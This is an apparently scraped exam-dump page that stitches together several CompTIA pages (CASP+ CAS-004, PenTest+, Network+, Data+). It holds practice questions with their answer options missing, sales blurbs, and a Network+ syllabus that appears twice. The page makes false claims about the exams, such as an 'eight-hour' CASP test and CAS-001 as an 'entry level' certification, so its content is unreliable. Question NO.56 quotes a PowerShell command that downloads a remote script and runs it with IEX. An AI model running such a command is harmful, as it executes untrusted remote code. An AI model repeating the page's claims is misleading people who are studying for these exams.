Category: CompTIA

Updated Free CompTIA CAS-004 Test Engine Questions with 620 Q&As [Q43-Q58]

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Updated Free CompTIA CAS-004 Test Engine Questions with 620 Q&As

The Best CompTIA CASP CAS-004 Professional Exam Questions

To be eligible for the CASP+ certification exam, candidates must have a minimum of ten years of experience in IT administration, including a minimum of five years of hands-on technical security experience. CompTIA Advanced Security Practitioner (CASP+) Exam certification exam is intended to validate the candidate’s knowledge and skills in advanced-level cybersecurity concepts and practices. CompTIA Advanced Security Practitioner (CASP+) Exam certification will demonstrate to employers that the candidate has the expertise and experience to design, implement, and manage cybersecurity solutions at the enterprise level.

What is the importance of CompTIA CAS-004 Certification

The CompTIA Advanced Security Practitioner certification (CASP) is the highest available certification in the market today. The CASP exam is an intense, eight-hour test designed to test your knowledge of advanced security concepts such as security architecture and design, penetration testing, risk management, forensics, ethical hacking and legal implications of IT security issues. CompTIA has announced the addition of a new certification exam which is also covered in CompTIA CAS-004 exam dumps, for their portfolio of certifications they offer to go along with the existing CompTIA A+ and Network+ certifications. The new exam is called “CompTIA Advanced Security Practitioner” or CAS-004. This new certification will be given as part of a continuous assessment program. This means that after you’ve earned the CAS-001 (CompTIA’s entry level security certification) and the CAS-003 (their intermediate level security certification), you can then continue your education by taking the CAS-004 exam.

 

NO.43 A health company has reached the physical and computing capabilities in its datacenter, but the computing demand continues to increase. The infrastructure is fully virtualized and runs custom and commercial healthcare application that process sensitive health and payment information. Which of the following should the company implement to ensure it can meet the computing demand while complying with healthcare standard for virtualization and cloud computing?

 
 
 
 

NO.44 A developer is creating a new mobile application for a company. The application uses REST API and TLS 1.2 to communicate securely with the external back-end server. Due to this configuration, the company is concerned about HTTPS interception attacks.
Which of the following would be the BEST solution against this type of attack?

 
 
 
 

NO.45 A security analyst is reviewing network connectivity on a Linux workstation and examining the active TCP connections using the command line.
Which of the following commands would be the BEST to run to view only active Internet connections?

 
 
 
 
 

NO.46 An organization is rolling out a robust vulnerability management system to monitor SCADA devices on the network. Which of the following scan types should be used to monitor these system types?

 
 
 
 

NO.47 A security analyst is investigating a series of suspicious emails by employees to the security team. The email appear to come from a current business partner and do not contain images or URLs. No images or URLs were stripped from the message by the security tools the company uses instead, the emails only include the following in plain text.

Which of the following should the security analyst perform?

 
 
 
 

NO.48 A company has a website with a huge database. The company wants to ensure that a DR site could be brought online quickly in the event of a failover. and end users would miss no more than 30 minutes of dat a. Which of the following should the company do to meet these objectives?

 
 
 
 

NO.49 After a cybersecurity incident, a judge found that a company did not conduct a proper forensic investigation. The company was ordered to pay penalties. Which of the following forensic steps would be best to prevent this from happening again?

 
 
 
 

NO.50 You are a security analyst tasked with interpreting an Nmap scan output from company’s privileged network.
The company’s hardening guidelines indicate the following:
There should be one primary server or service per device.
Only default ports should be used.
Non-secure protocols should be disabled.
INSTRUCTIONS
Using the Nmap output, identify the devices on the network and their roles, and any open ports that should be closed.
For each device found by Nmap, add a device entry to the Devices Discovered list, with the following information:
The IP address of the device
The primary server or service of the device (Note that each IP should by associated with one service/port only) The protocol(s) that should be disabled based on the hardening guidelines (Note that multiple ports may need to be closed to comply with the hardening guidelines) If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

NO.51 A network administrator receives a ticket regarding an error from a remote worker who is trying to reboot a laptop. The laptop has not yet loaded the operating system, and the user is unable to continue the boot process.
The administrator is able to provide the user with a recovery PIN, and the user is able to reboot the system and access the device as needed. Which of the following is the MOST likely cause of the error?

 
 
 
 

NO.52 A company that all mobile devices be encrypted, commensurate with the full disk encryption scheme of assets, such as workstation, servers, and laptops. Which of the following will MOST likely be a limiting factor when selecting mobile device managers for the company?

 
 
 
 

NO.53 Users are reporting intermittent access issues with a new cloud application that was recently added to the network. Upon investigation, the security administrator notices the human resources department is able to run required queries with the new application, but the marketing department is unable to pull any needed reports on various resources using the new application. Which of the following MOST likely needs to be done to avoid this in the future?

 
 
 
 

NO.54 A consultant needs access to a customer’s cloud environment. The customer wants to enforce the following engagement requirements:
* All customer data must remain under the control of the customer at all times.
* Third-party access to the customer environment must be controlled by the customer.
* Authentication credentials and access control must be under the customer’s control.
Which of the following should the consultant do to ensure all customer requirements are satisfied when accessing the cloud environment?

 
 
 
 

NO.55 A security analyst has been provided the following partial Snort IDS rule to review and add into the company’s Snort IDS to identify a CVE:

Which of the following should the analyst recommend to mitigate this type of vulnerability?

 
 
 
 

NO.56 A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file: powershell EX(New-Object Net.WebClient).DownloadString (‘https://content.comptia.org/casp/whois.psl’);whois
Which of the following security controls would have alerted and prevented the next phase of the attack?

 
 
 
 

NO.57 A company’s Chief Information Security Officer is concerned that the company’s proposed move to the cloud could lead to a lack of visibility into network traffic flow logs within the VPC.
Which of the following compensating controls would be BEST to implement in this situation?

 
 
 
 

NO.58 A cloud security architect has been tasked with finding a solution for hardening VMS. The solution must meet the following requirements:
* Data needs to be stored outside of the VMS.
* No unauthorized modifications to the VMS are allowed
* If a change needs to be done, a new VM needs to be deployed.
Which of the following is the BEST solution?

 
 
 
 

The CASP+ certification exam is designed for experienced IT professionals who are looking to advance their cybersecurity knowledge and skills. CAS-004 exam covers various topics, such as enterprise security architecture and design, risk management, security operations and incident response, technical integration of enterprise security, research and collaboration, and governance, risk, and compliance. CASP+ certification holders are recognized for their ability to design and implement advanced-level security solutions for organizations, and their knowledge of the latest cybersecurity trends and technologies. CompTIA Advanced Security Practitioner (CASP+) Exam certification is also a requirement for many high-level cybersecurity positions in government agencies and defense organizations.

 

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Free Linux+ XK0-005 Ultimate Study Guide (Updated 285 Questions) [Q93-Q114]

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Free Linux+ XK0-005 Ultimate Study Guide (Updated 285 Questions)

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Get Oct-2023 Dumps to Pass your PT0-001 Exam with 100% Real Questions and Answers [Q122-Q139]

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Get Oct-2023 Dumps to Pass your PT0-001 Exam with 100% Real Questions and Answers

Updated Exam PT0-001 Dumps with New Questions

CompTIA PT0-001 Exam Syllabus Topics:

Topic Details
Topic 1
  • Given A Scenario, Perform A Vulnerability Scan
  • Given A Scenario, Analyze Vulnerability Scan Results
Topic 2
  • Given A Scenario, Conduct Information Gathering Using Appropriate Techniques
Topic 3
  • Explain The Importance Of Planning For An Engagement
  • Explain Key Legal Concepts
Topic 4
  • Explain The Process Of Leveraging Information To Prepare For Exploitation
Topic 5
  • Given A Scenario, Exploit Local Host Vulnerabilities
  • Compare And Contrast Various Use Cases Of Tools
Topic 6
  • Given A Scenario, Exploit Network-Based Vulnerabilities
  • Compare And Contrast Various Use Cases Of Tools
Topic 7
  • Given A Scenario, Use Nmap To Conduct Information Gathering Exercises
Topic 8
  • Given A Scenario, Recommend Mitigation Strategies For Discovered Vulnerabilities
Topic 9
  • Given A Scenario, Exploit Application-Based Vulnerabilities
  • Given A Scenario, Perform Post-Exploitation Techniques

 

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CompTIA PT0-001 certification exam is a validation of a professional’s ability to perform penetration testing and vulnerability assessments. PT0-001 exam covers key concepts related to security and network infrastructure, including methods for identifying vulnerabilities, techniques for exploiting vulnerabilities to gain unauthorized access, tools and best practices for maintaining security, and ethical hacking principles. Professionals who pass the CompTIA PT0-001 exam demonstrate that they possess the skills and knowledge required to identify and remedy network risks, helping organizations to safeguard their digital assets against potential cyber attacks.

 

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N10-008 Self-Study Guide for Becoming an CompTIA Network+ Certification Exam Expert [Q162-Q184]

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N10-008 Self-Study Guide for Becoming an CompTIA Network+ Certification Exam Expert

N10-008 Study Guide Realistic Verified N10-008 Dumps

CompTIA N10-008 exam covers a wide range of topics, including network architecture, protocols and services, network operations, network security, and troubleshooting. It is a performance-based exam that tests the candidate’s ability to configure, manage, and troubleshoot networks in real-world scenarios. N10-008 exam consists of multiple-choice, drag and drop, and simulation questions, and it lasts for 90 minutes.

 

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To prepare for the exam, candidates can take courses and study materials offered by CompTIA or other training providers. They can also gain hands-on experience by working with network devices in a real-world environment. Passing the CompTIA N10-008 exam requires a score of 720 out of 900 and the certification is valid for three years.

 

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[Q323-Q343] 220-1001 Actual Questions – Instant Download Tests Free Updated Today!

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Exam Dumps CAS-003 Practice Free Latest CompTIA Practice Tests [Q398-Q419]

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Research, Development & Collaboration: 13%

  • Applying research techniques to establish industry trends and the impact on the enterprise: the individuals should have a good understanding of research security implications of budding business tools; threat intelligence; global IA community/industry; performing ongoing research.
  • Implementing security events across a technology lifecycle: the knowledge areas that will be measured within this topic include systems development lifecycle; asset management; software development lifecycle; adapting solutions to address.
  • Describing the importance of interactions across different business units in achieving security goals: this section covers one’s skills in providing impartial recommendations and objective guidance to senior management and staff on security controls and processes; establishing efficient collaboration in teams for implementing secure solutions; interpreting security prerequisites and objectives to interact with stakeholders from different disciplines.

Certification Path

The CompTIA Advanced Security Practitioner (CASP) CAS-003 Exam certification includes only one CAS-003 certification exam.

CompTIA CASP+ CAS-003 Practice Test Questions, CompTIA CASP+ CAS-003 Exam Practice Test Questions

The CompTIA CAS-003 exam determines if the applicants are advanced in their competency regarding risk management, enterprise security, collaboration, and research. It also checks their capabilities in integrating enterprise security. Passing this test enables you to obtain the CompTIA Advanced Security Practitioner certification, also known as CASP+. Getting it is an indication of bearing advanced skills in risk analysis, security control, technologies for virtualization and Cloud, and cryptographic techniques.

 

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2022 Updated Verified Pass DA0-001 Exam – Real Questions & Answers [Q72-Q90]

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2022 Updated Verified Pass DA0-001 Exam – Real Questions and Answers

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What are the advantages of obtaining CompTIA DA0-001 Certification

CompTIA Data+ is the most popular certification in the IT industry, and it is a great way to enter the field of IT. The CompTIA Data+ certification covers all aspects of data management, including how to manage data and its security and how to work with large volumes of data.

There are many advantages to obtaining this certification. It will give you a solid foundation in the field of IT and allow you to start working right away. Many companies prefer hiring people who have this certification because they know that they can trust them and they can trust their abilities. CompTIA DA0-001 exam dumps will enhance you skills.

If you are interested in pursuing a career in IT or if you want to learn more about what this industry has to offer, then CompTiA Data+ Certification is definitely something that you should consider taking.

There are many benefits that come from obtaining this certification and I am going to give some examples below:

  1. It gives you a solid foundation for your career as an IT professional.

  2. It helps improve your communication skills by learning how to talk about technical topics in an understandable way.

  3. It allows you to meet new people, which will help you learn more about other people’s personalities and

 

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Reliable CompTIA Network+ N10-008 Dumps PDF May 30, 2022 Recently Updated Questions [Q60-Q81]

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Reliable CompTIA Network+ N10-008 Dumps PDF May 30, 2022 Recently Updated Questions

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CompTIA N10-008 Exam Syllabus Topics:

Topic Details

Networking Fundamentals – 24%
Compare and contrast the Open Systems Interconnection (OSI) model layers and encapsulation concepts. – OSI model

  • Layer 1 – Physical
  • Layer 2 – Data link
  • Layer 3 – Network
  • Layer 4 – Transport
  • Layer 5 – Session
  • Layer 6 – Presentation
  • Layer 7 – Application

– Data encapsulation and decapsulation within the OSI model context

  • Ethernet header
  • Internet Protocol (IP) header
  • Transmission Control Protocol (TCP)/User Datagram Protocol (UDP) headers
  • TCP flags
  • Payload
  • Maximum transmission unit (MTU)
Explain the characteristics of network topologies and network types. – Mesh
– Star/hub-and-spoke
– Bus
– Ring
– Hybrid
– Network types and characteristics

  • Peer-to-peer
  • Client-server
  • Local area network (LAN)
  • Metropolitan area network (MAN)
  • Wide area network (WAN)
  • Wireless local area network (WLAN)
  • Personal area network (PAN)
  • Campus area network (CAN)
  • Storage area network (SAN)
  • Software-defined wide area network (SDWAN)
  • Multiprotocol label switching (MPLS)
  • Multipoint generic routing encapsulation (mGRE)

– Service-related entry point

  • Demarcation point
  • Smartjack

– Virtual network concepts

  • vSwitch
  • Virtual network interface card (vNIC)
  • Network function virtualization (NFV)
  • Hypervisor

– Provider links

  • Satellite
  • Digital subscriber line (DSL)
  • Cable
  • Leased line
  • Metro-optical
Summarize the types of cables and connectors and explain which is the appropriate type for a solution. – Copper

  • Twisted pair
    1. Cat 5
    2. Cat 5e
    3. Cat 6
    4. Cat 6a
    5. Cat 7
    6. Cat 8
  • Coaxial/RG-6
  • Twinaxial
  • Termination standards
    1. TIA/EIA-568A
    2. TIA/EIA-568B

– Fiber

  • Single-mode
  • Multimode

– Connector types

  • Local connector (LC), straight tip (ST), subscriber connector (SC), mechanical transfer (MT), registered jack (RJ)
    1. Angled physical contact (APC)
    2. Ultra-physical contact (UPC)
  • RJ11
  • RJ45
  • F-type connector
  • Transceivers/media converters
  • Transceiver type
    1. Small form-factor pluggable (SFP)
    2. Enhanced form-factor pluggable (SFP+)
    3. Quad small form-factor pluggable (QSFP)
    4. Enhanced quad small form-factor pluggable (QSFP+)

– Cable management

  • Patch panel/patch bay
  • Fiber distribution panel
  • Punchdown block
    1. 66
    2. 110
    3. Krone
    4. Bix

– Ethernet standards

  • Copper
    1. 10BASE-T
    2. 100BASE-TX
    3. 1000BASE-T
    4. 10GBASE-T
    5. 40GBASE-T
  • Fiber
    1. 100BASE-FX
    2 .100BASE-SX
    3. 1000BASE-SX
    4. 1000BASE-LX
    5. 10GBASE-SR
    6. 10GBASE-LR
    7. Coarse wavelength division multiplexing (CWDM)
    8. Dense wavelength division multiplexing (DWDM)
    9. Bidirectional wavelength division multiplexing (WDM)
Given a scenario, configure a subnet and use appropriate IP addressing schemes. – Public vs. private

  • RFC1918
  • Network address translation (NAT)
  • Port address translation (PAT)

– IPv4 vs. IPv6

  • Automatic Private IP Addressing (APIPA)
  • Extended unique identifier (EUI-64)
  • Multicast
  • Unicast
  • Anycast
  • Broadcast
  • Link local
  • Loopback
  • Default gateway

– IPv4 subnetting

  • Classless (variable-length subnet mask)
  • Classful
    1. A
    2. B
    3. C
    4. D
    5. E
  • Classless Inter-Domain Routing (CIDR) notation

– IPv6 concepts

  • Tunneling
  • Dual stack
  • Shorthand notation
  • Router advertisement
  • Stateless address autoconfiguration (SLAAC)

– Virtual IP (VIP)
– Subinterfaces
Explain common ports and protocols, their application, and encrypted alternatives. – Protocol sand Ports

  • File Transfer Protocol (FTP) 20/21
  • Secure Shell (SSH) 22
  • Secure File Transfer Protocol (SFTP) 22
  • Telnet 23
  • Simple Mail Transfer Protocol (SMTP) 25
  • Domain Name System (DNS) 53
  • Dynamic Host Configuration Protocol (DHCP) 67/68
  • Trivial File Transfer Protocol (TFTP) 69
  • Hypertext Transfer Protocol (HTTP) 80
  • Post Office Protocol v3 (POP3) 110
  • Network Time Protocol (NTP) 123
  • Internet Message Access Protocol (IMAP) 143
  • Simple Network Management Protocol (SNMP) 161/162
  • Lightweight Directory Access Protocol (LDAP) 389
  • Hypertext Transfer Protocol Secure (HTTPS) [Secure Sockets Layer (SSL)] 443
  • HTTPS [Transport Layer Security (TLS)] 443
  • Server Message Block (SMB) 445
  • Syslog 514
  • SMTP TLS 587
  • Lightweight Directory Access Protocol (over SSL) (LDAPS) 636
  • IMAP over SSL 993
  • POP3 over SSL 995
  • Structured Query Language (SQL) Server 1433
  • SQLnet 1521
  • MySQL 3306
  • Remote Desktop Protocol (RDP) 3389
  • Session Initiation Protocol (SIP) 5060/5061
  • IP protocol types
    1. Internet Control Message Protocol (ICMP)
    2. TCP
    3. UDP
    4. Generic Routing Encapsulation (GRE)
    5. Internet Protocol Security (IPSec)
    – Authentication Header (AH)/Encapsulating Security Payload (ESP)

– Connectionless vs. connection-oriented
Explain the use and purpose of network services. – DHCP

  • Scope
  • Exclusion ranges
  • Reservation
  • Dynamic assignment
  • Static assignment
  • Lease time
  • Scope options
  • Available leases
  • DHCP relay
  • IP helper/UDP forwarding

– DNS

  • Record types
    1. Address (A vs. AAAA)
    2. Canonical name (CNAME)
    3. Mail exchange (MX)
    4. Start of authority (SOA)
    5. Pointer (PTR)
    6. Text (TXT)
    7. Service (SRV)
    8. Name server (NS)
  • Global hierarchy
    1. Root DNS servers
  • Internal vs. external
  • Zone transfers
  • Authoritative name servers
  • Time to live (TTL)
  • DNS caching
  • Reverse DNS/reverse lookup/forward lookup
  • Recursive lookup/iterative lookup

– NTP

  • Stratum
  • Clients
  • Servers
Explain basic corporate and datacenter network architecture. – Three-tiered

  • Core
  • Distribution/aggregation layer
  • Access/edge

– Software-defined networking

  • Application layer
  • Control layer
  • Infrastructure layer
  • Management plane

– Spine and leaf

  • Software-defined network
  • Top-of-rack switching
  • Backbone

– Traffic flows

  • North-South
  • East-West

– Branch office vs. on-premises datacenter vs. colocation
– Storage area networks

  • Connection types
    1. Fibre Channel over Ethernet (FCoE)
    2. Fibre Channel
    3. Internet Small Computer Systems Interface (iSCSI)
Summarize cloud concepts and connectivity options. – Deployment models

  • Public
  • Private
  • Hybrid
  • Community

– Service models

  • Software as a service (SaaS)
  • Infrastructure as a service (IaaS)
  • Platform as a service (PaaS)
  • Desktop as a service (DaaS)

– Infrastructure as code

  • Automation/orchestration

– Connectivity options

  • Virtual private network (VPN)
  • Private-direct connection to cloud provider

– Multitenancy
– Elasticity
– Scalability
– Security implications

Network Implementations – 19%
Compare and contrast various devices, their features, and their appropriate placement on the network. – Networking devices

  • Layer 2 switch
  • Layer 3 capable switch
  • Router
  • Hub
  • Access point
  • Bridge
  • Wireless LAN controller
  • Load balancer
  • Proxy server
  • Cable modem
  • DSL modem
  • Repeater
  • Voice gateway
  • Media converter
  • Intrusion prevention system (IPS)/intrusion detection system (IDS) device
  • Firewall
  • VPN headend

– Networked devices

  • Voice over Internet Protocol (VoIP) phone
  • Printer
  • Physical access control devices
  • Cameras
  • Heating, ventilation, and air conditioning (HVAC) sensors
  • Internet of Things (IoT)
    1. Refrigerator
    2. Smart speakers
    3. Smart thermostats
    4. Smart doorbells
  • Industrial control systems/supervisory control and data acquisition (SCADA)
Compare and contrast routing technologies and bandwidth management concepts. – Routing

  • Dynamic routing
    1. Protocols [Routing Internet Protocol (RIP), Open Shortest Path First (OSPF), Enhanced Interior Gateway Routing Protocol (EIGRP), Border Gateway Protocol (BGP)]
    2. Link state vs. distance vector vs. hybrid
  • Static routing
  • Default route
  • Administrative distance
  • Exterior vs. interior
  • Time to live

– Bandwidth management

  • Traffic shaping
  • Quality of service (QoS)
Given a scenario, configure and deploy common Ethernet switching features. – Data virtual local area network (VLAN)
– Voice VLAN
– Port configurations

  • Port tagging/802.1Q
  • Port aggregation
    1. Link Aggregation Control Protocol (LACP)
  • Duplex
  • Speed
  • Flow control
  • Port mirroring
  • Port security
  • Jumbo frames
  • Auto-medium-dependent interface crossover (MDI-X)

– Media access control (MAC) address tables
– Power over Ethernet (PoE)/Power over Ethernet plus (PoE+)
– Spanning Tree Protocol
– Carrier-sense multiple access with collision detection (CSMA/CD)
– Address Resolution Protocol (ARP)
– Neighbor Discovery Protocol
Given a scenario, install and configure the appropriate wireless standards and technologies. – 802.11 standards

  • a
  • b
  • g
  • n (WiFi 4)
  • ac (WiFi 5)
  • ax (WiFi 6)

– Frequencies and range

  • 2.4GHz
  • 5GHz

– Channels

  • Regulatory impacts

– Channel bonding
– Service set identifier (SSID)

  • Basic service set
  • Extended service set
  • Independent basic service set (Ad-hoc)
  • Roaming

– Antenna types

  • Omni
  • Directional

– Encryption standards

  • WiFi Protected Access (WPA)/WPA2 Personal [Advanced Encryption Standard (AES)/Temporal Key Integrity Protocol (TKIP)]
  • WPA/WPA2 Enterprise (AES/TKIP)

– Cellular technologies

  • Code-division multiple access (CDMA)
  • Global System for Mobile Communications (GSM)
  • Long-Term Evolution (LTE)
  • 3G, 4G, 5G

– Multiple input, multiple output (MIMO) and multi-user MIMO (MU-MIMO)

Network Operations – 16%
Given a scenario, use the appropriate statistics and sensors to ensure network availability. – Performance metrics/sensors

  • Device/chassis
    1. Temperature
    2. Central processing unit (CPU) usage
    3. Memory
  • Network metrics
    1. Bandwidth
    2. Latency
    3. Jitter

– SNMP

  • Traps
  • Object identifiers (OIDs)
  • Management information bases (MIBs)

– Network device logs

  • Log reviews
    1. Traffic logs
    2. Audit logs
    3. Syslog
  • Logging levels/severity levels

– Interface statistics/status

  • Link state (up/down)
  • Speed/duplex
  • Send/receive traffic
  • Cyclic redundancy checks (CRCs)
  • Protocol packet and byte counts

– Interface errors or alerts

  • CRC errors
  • Giants
  • Runts
  • Encapsulation errors

– Environmental factors and sensors

  • Temperature
  • Humidity
  • Electrical
  • Flooding

– Baselines
– NetFlow data
– Uptime/downtime
Explain the purpose of organizational documents and policies. – Plans and procedures

  • Change management
  • Incident response plan
  • Disaster recovery plan
  • Business continuity plan
  • System life cycle
  • Standard operating procedures

– Hardening and security policies

  • Password policy
  • Acceptable use policy
  • Bring your own device (BYOD) policy
  • Remote access policy
  • Onboarding and offboarding policy
  • Security policy
  • Data loss prevention

– Common documentation

  • Physical network diagram
    1. Floor plan
    2. Rack diagram
    3. Intermediate distribution frame (IDF)/main distribution frame (MDF) documentation
  • Logical network diagram
  • Wiring diagram
  • Site survey report
  • Audit and assessment report
  • Baseline configurations

– Common agreements

  • Non-disclosure agreement (NDA)
  • Service-level agreement (SLA)
  • Memorandum of understanding (MOU)
Explain high availability and disaster recovery concepts and summarize which is the best solution. – Load balancing
– Multipathing
– Network interface card (NIC) teaming
– Redundant hardware/clusters

  • Switches
  • Routers
  • Firewalls

– Facilities and infrastructure support

  • Uninterruptible power supply (UPS)
  • Power distribution units (PDUs)
  • Generator
  • HVAC
  • Fire suppression

– Redundancy and high availability (HA) concepts

  • Cold site
  • Warm site
  • Hot site
  • Cloud site
  • Active-active vs. active-passive
    1. Multiple Internet service providers (ISPs)/diverse paths
    2. Virtual Router Redundancy Protocol (VRRP)/First Hop Redundancy Protocol (FHRP)
  • Mean time to repair (MTTR)
  • Mean time between failure (MTBF)
  • Recovery time objective (RTO)
  • Recovery point objective (RPO)

– Network device backup/restore

  • State
  • Configuration

Network Security – 19%
Explain common security concepts. – Confidentiality, integrity, availability (CIA)
– Threats

  • Internal
  • External

– Vulnerabilities

  • Common vulnerabilities and exposures (CVE)
  • Zero-day

– Exploits
– Least privilege
– Role-based access
– Zero Trust
– Defense in depth

  • Network segmentation enforcement
  • Screened subnet [previously known as demilitarized zone (DMZ)]
  • Separation of duties
  • Network access control
  • Honeypot

– Authentication methods

  • Multifactor
  • Terminal Access Controller Access-Control System Plus (TACACS+)
  • Single sign-on (SSO)
  • Remote Authentication Dial-in User Service (RADIUS)
  • LDAP
  • Kerberos
  • Local authentication
  • 802.1X
  • Extensible Authentication Protocol (EAP)

– Risk Management

  • Security risk assessments
    1. Threat assessment
    2. Vulnerability assessment
    3. Penetration testing
    4. Posture assessment
  • Business risk assessments
    1. Process assessment
    2. Vendor assessment

– Security information and event management (SIEM)
Compare and contrast common types of attacks. – Technology-based

  • Denial-of-service (DoS)/distributed denial-of-service (DDoS)
    1. Botnet/command and control
  • On-path attack (previously known as man-in-the-middle attack)
  • DNS poisoning
  • VLAN hopping
  • ARP spoofing
  • Rogue DHCP
  • Rogue access point (AP)
  • Evil twin
  • Ransomware
  • Password attacks
    1. Brute-force
    2. Dictionary
  • MAC spoofing
  • IP spoofing
  • Deauthentication
  • Malware

– Human and environmental

  • Social engineering
    1. Phishing
    2. Tailgating
    3. Piggybacking
    4. Shoulder surfing
Given a scenario, apply network hardening techniques. – Best practices

  • Secure SNMP
  • Router Advertisement (RA) Guard
  • Port security
  • Dynamic ARP inspection
  • Control plane policing
  • Private VLANs
  • Disable unneeded switchports
  • Disable unneeded network services
  • Change default passwords
  • Password complexity/length
  • Enable DHCP snooping
  • Change default VLAN
  • Patch and firmware management
  • Access control list
  • Role-based access
  • Firewall rules
    1. Explicit deny
    2. Implicit deny

– Wireless security

  • MAC filtering
  • Antenna placement
  • Power levels
  • Wireless client isolation
  • Guest network isolation
  • Preshared keys (PSKs)
  • EAP
  • Geofencing
  • Captive portal

– IoT access considerations
Compare and contrast remote access methods and security implications. – Site-to-site VPN
– Client-to-site VPN

  • Clientless VPN
  • Split tunnel vs. full tunnel

– Remote desktop connection
– Remote desktop gateway
– SSH
– Virtual network computing (VNC)
– Virtual desktop
– Authentication and authorization considerations
– In-band vs. out-of-band management
Explain the importance of physical security. – Detection methods

  • Camera
  • Motion detection
  • Asset tags
  • Tamper detection

– Prevention methods

  • Employee training
  • Access control hardware
    1. Badge readers
    2. Biometrics
  • Locking racks
  • Locking cabinets
  • Access control vestibule (previously known as a mantrap)
  • Smart lockers

– Asset disposal

Network Troubleshooting – 22%
Explain the network troubleshooting methodology. – Identify the problem

  • Gather information
  • Question users
  • Identify symptoms
  • Determine if anything has changed
  • Duplicate the problem, if possible
  • Approach multiple problems individually

– Establish a theory of probable cause

  • Question the obvious
  • Consider multiple approaches
    1. Top-to-bottom/bottom-to-top OSI model
    2. Divide and conquer

– Test the theory to determine the cause

  • If the theory is confirmed, determine the next steps to resolve the problem
  • If the theory is not confirmed, reestablish a new theory or escalate

– Establish a plan of action to resolve the problem and identify potential effects
– Implement the solution or escalate as necessary
– Verify full system functionality and, if applicable, implement preventive measures
– Document findings, actions, outcomes, and lessons learned

 

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[UPDATED 2022] CompTIA N10-008 Questions Prepare with Free Demo of PDF [Q92-Q108]

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[UPDATED 2022] CompTIA N10-008 Questions Prepare with Free Demo of PDF

NEW 2022 Certification Sample Questions N10-008 Dumps & Practice Exam

CompTIA Network+ Exam Certification Details:

Passing Score 720 / 900
Number of Questions 90
Exam Price $338 (USD)
Exam Name CompTIA Certified Network+
Exam Code N10-008
Sample Questions CompTIA Network+ Sample Questions
Duration 90 mins

 

Please go to [UPDATED 2022] CompTIA N10-008 Questions Prepare with Free Demo of PDF [Q92-Q108] to view the test

CompTIA N10-008 Exam Syllabus Topics:

Topic Details

Networking Fundamentals – 24%
Compare and contrast the Open Systems Interconnection (OSI) model layers and encapsulation concepts. – OSI model

  • Layer 1 – Physical
  • Layer 2 – Data link
  • Layer 3 – Network
  • Layer 4 – Transport
  • Layer 5 – Session
  • Layer 6 – Presentation
  • Layer 7 – Application

– Data encapsulation and decapsulation within the OSI model context

  • Ethernet header
  • Internet Protocol (IP) header
  • Transmission Control Protocol (TCP)/User Datagram Protocol (UDP) headers
  • TCP flags
  • Payload
  • Maximum transmission unit (MTU)
Explain the characteristics of network topologies and network types. – Mesh
– Star/hub-and-spoke
– Bus
– Ring
– Hybrid
– Network types and characteristics

  • Peer-to-peer
  • Client-server
  • Local area network (LAN)
  • Metropolitan area network (MAN)
  • Wide area network (WAN)
  • Wireless local area network (WLAN)
  • Personal area network (PAN)
  • Campus area network (CAN)
  • Storage area network (SAN)
  • Software-defined wide area network (SDWAN)
  • Multiprotocol label switching (MPLS)
  • Multipoint generic routing encapsulation (mGRE)

– Service-related entry point

  • Demarcation point
  • Smartjack

– Virtual network concepts

  • vSwitch
  • Virtual network interface card (vNIC)
  • Network function virtualization (NFV)
  • Hypervisor

– Provider links

  • Satellite
  • Digital subscriber line (DSL)
  • Cable
  • Leased line
  • Metro-optical
Summarize the types of cables and connectors and explain which is the appropriate type for a solution. – Copper

  • Twisted pair
    1. Cat 5
    2. Cat 5e
    3. Cat 6
    4. Cat 6a
    5. Cat 7
    6. Cat 8
  • Coaxial/RG-6
  • Twinaxial
  • Termination standards
    1. TIA/EIA-568A
    2. TIA/EIA-568B

– Fiber

  • Single-mode
  • Multimode

– Connector types

  • Local connector (LC), straight tip (ST), subscriber connector (SC), mechanical transfer (MT), registered jack (RJ)
    1. Angled physical contact (APC)
    2. Ultra-physical contact (UPC)
  • RJ11
  • RJ45
  • F-type connector
  • Transceivers/media converters
  • Transceiver type
    1. Small form-factor pluggable (SFP)
    2. Enhanced form-factor pluggable (SFP+)
    3. Quad small form-factor pluggable (QSFP)
    4. Enhanced quad small form-factor pluggable (QSFP+)

– Cable management

  • Patch panel/patch bay
  • Fiber distribution panel
  • Punchdown block
    1. 66
    2. 110
    3. Krone
    4. Bix

– Ethernet standards

  • Copper
    1. 10BASE-T
    2. 100BASE-TX
    3. 1000BASE-T
    4. 10GBASE-T
    5. 40GBASE-T
  • Fiber
    1. 100BASE-FX
    2 .100BASE-SX
    3. 1000BASE-SX
    4. 1000BASE-LX
    5. 10GBASE-SR
    6. 10GBASE-LR
    7. Coarse wavelength division multiplexing (CWDM)
    8. Dense wavelength division multiplexing (DWDM)
    9. Bidirectional wavelength division multiplexing (WDM)
Given a scenario, configure a subnet and use appropriate IP addressing schemes. – Public vs. private

  • RFC1918
  • Network address translation (NAT)
  • Port address translation (PAT)

– IPv4 vs. IPv6

  • Automatic Private IP Addressing (APIPA)
  • Extended unique identifier (EUI-64)
  • Multicast
  • Unicast
  • Anycast
  • Broadcast
  • Link local
  • Loopback
  • Default gateway

– IPv4 subnetting

  • Classless (variable-length subnet mask)
  • Classful
    1. A
    2. B
    3. C
    4. D
    5. E
  • Classless Inter-Domain Routing (CIDR) notation

– IPv6 concepts

  • Tunneling
  • Dual stack
  • Shorthand notation
  • Router advertisement
  • Stateless address autoconfiguration (SLAAC)

– Virtual IP (VIP)
– Subinterfaces
Explain common ports and protocols, their application, and encrypted alternatives. – Protocol sand Ports

  • File Transfer Protocol (FTP) 20/21
  • Secure Shell (SSH) 22
  • Secure File Transfer Protocol (SFTP) 22
  • Telnet 23
  • Simple Mail Transfer Protocol (SMTP) 25
  • Domain Name System (DNS) 53
  • Dynamic Host Configuration Protocol (DHCP) 67/68
  • Trivial File Transfer Protocol (TFTP) 69
  • Hypertext Transfer Protocol (HTTP) 80
  • Post Office Protocol v3 (POP3) 110
  • Network Time Protocol (NTP) 123
  • Internet Message Access Protocol (IMAP) 143
  • Simple Network Management Protocol (SNMP) 161/162
  • Lightweight Directory Access Protocol (LDAP) 389
  • Hypertext Transfer Protocol Secure (HTTPS) [Secure Sockets Layer (SSL)] 443
  • HTTPS [Transport Layer Security (TLS)] 443
  • Server Message Block (SMB) 445
  • Syslog 514
  • SMTP TLS 587
  • Lightweight Directory Access Protocol (over SSL) (LDAPS) 636
  • IMAP over SSL 993
  • POP3 over SSL 995
  • Structured Query Language (SQL) Server 1433
  • SQLnet 1521
  • MySQL 3306
